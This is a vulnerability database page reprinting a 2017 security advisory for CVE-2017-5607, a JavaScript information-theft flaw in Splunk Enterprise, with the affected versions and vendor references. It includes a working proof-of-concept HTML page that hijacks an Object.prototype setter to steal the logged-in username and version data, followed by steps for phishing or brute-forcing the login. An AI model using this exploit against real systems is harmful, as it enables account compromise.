Lucene search
K

Splunk Enterprise - Information Disclosure Vulnerability

🗓️ 31 Mar 2017 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 47 Views

Splunk Enterprise Information Disclosure Vulnerability via JavaScript Theft of Usernames and Version Inf

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-5607
31 Mar 201700:00
circl
CNVD
Splunk Enterprise and Light Information Disclosure Vulnerabilities
1 Apr 201700:00
cnvd
CVE
CVE-2017-5607
10 Apr 201715:00
cve
Cvelist
CVE-2017-5607
10 Apr 201715:00
cvelist
Exploit DB
Splunk Enterprise - Information Disclosure
31 Mar 201700:00
exploitdb
EUVD
EUVD-2017-14705
7 Oct 202500:30
euvd
exploitpack
Splunk Enterprise - Information Disclosure
31 Mar 201700:00
exploitpack
NVD
CVE-2017-5607
10 Apr 201715:59
nvd
OpenVAS
Splunk Light Multiple XSS Vulnerabilities
3 Apr 201700:00
openvas
OpenVAS
Splunk Enterprise Information Disclosure Vulnerability (SP-CAAAPZ3)
3 Apr 201700:00
openvas
Rows per page
[+] Credits: John Page AKA hyp3rlinx    
 
Vendor:
===============
www.splunk.com
 
 
 
Product:
==================
Splunk Enterprise 
 
 
Splunk provides the leading platform for Operational Intelligence. Customers use Splunk to search, monitor, analyze
and visualize machine data. Splunk Enterprise, collects and analyzes high volumes of machine-generated data.
 
 
 
Vulnerability Type:
==================================
Javascript (JSON) Information Theft
 
 
 
CVE Reference:
==============
CVE-2017-5607
 
 
 
Security Issue:
================
Attackers can siphon information from Splunk Enterprise if an authenticated Splunk user visits a malicious webpage.
Some useful data gained is the currently logged in username and if remote user setting is enabled. After, the username
can be use to Phish or Brute Force Splunk Enterprise login. Additional information stolen may aid in furthering attacks.
 
Root cause is the global Window JS variable assignment of config?autoload=1 '$C'.
 
e.g.
 
window.$C = {"BUILD_NUMBER": 207789, "SPLUNKD_PATH"... etc... }
 
To steal information we simply can define a function to be called when the '$C' JS property is "set" on webpage, for example.
Object.defineProperty( Object.prototype, "$C", { set:function(val){...
 
The Object prototype is a Object that every other object inherits from in JavaScript, if we create a setter on the name of our target
in this case "$C", we can get/steal the value of this data, in this case it is very easy as it is assigned to global Window namespace.
 
 
Affected Splunk Enterprise versions:
6.5.x before 6.5.3
6.4.x before 6.4.6
6.3.x before 6.3.10
6.2.x before 6.2.13.1
6.1.x before 6.1.13
6.0.x before 6.0.14
5.0.x before 5.0.18 and Splunk Light before 6.5.2
 
Vulnerability could allow a remote attacker to obtain logged-in username and Splunk version-related information via JavaScript.
 
 
References:
=============
https://www.splunk.com/view/SP-CAAAPZ3
https://www.splunk.com/view/SP-CAAAPZ3#InformationLeakageviaJavaScriptCVE20175607
 
 
 
Exploit/POC:
=============
 
Reproduction:
 
1) Log into Splunk
2) place the below Javascript in webpage on another server.
 
"Splunk-Data-Theft.html"  
 
<script>
Object.defineProperty( Object.prototype, "$C", { set:function(val){ 
   //prompt("Splunk Timed out:\nPlease Login to Splunk\nUsername: "+val.USERNAME, "Password")
for(var i in val){
 alert(""+i+" "+val[i]);
  }
 }
});
</script>
 
 
<script src="https://VICTIM-IP:8000/en-US/config?autoload=1"></script>
 
 
3) Visit the server hosting the "Splunk-Data-Theft.html" webpage, grab current authenticated user
4) Phish or brute force the application.
 
 
 
Video POC URL:
===============
https://vimeo.com/210634562

#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Mar 2017 00:00Current
4.4Medium risk
Vulners AI Score4.4
EPSS0.09035
47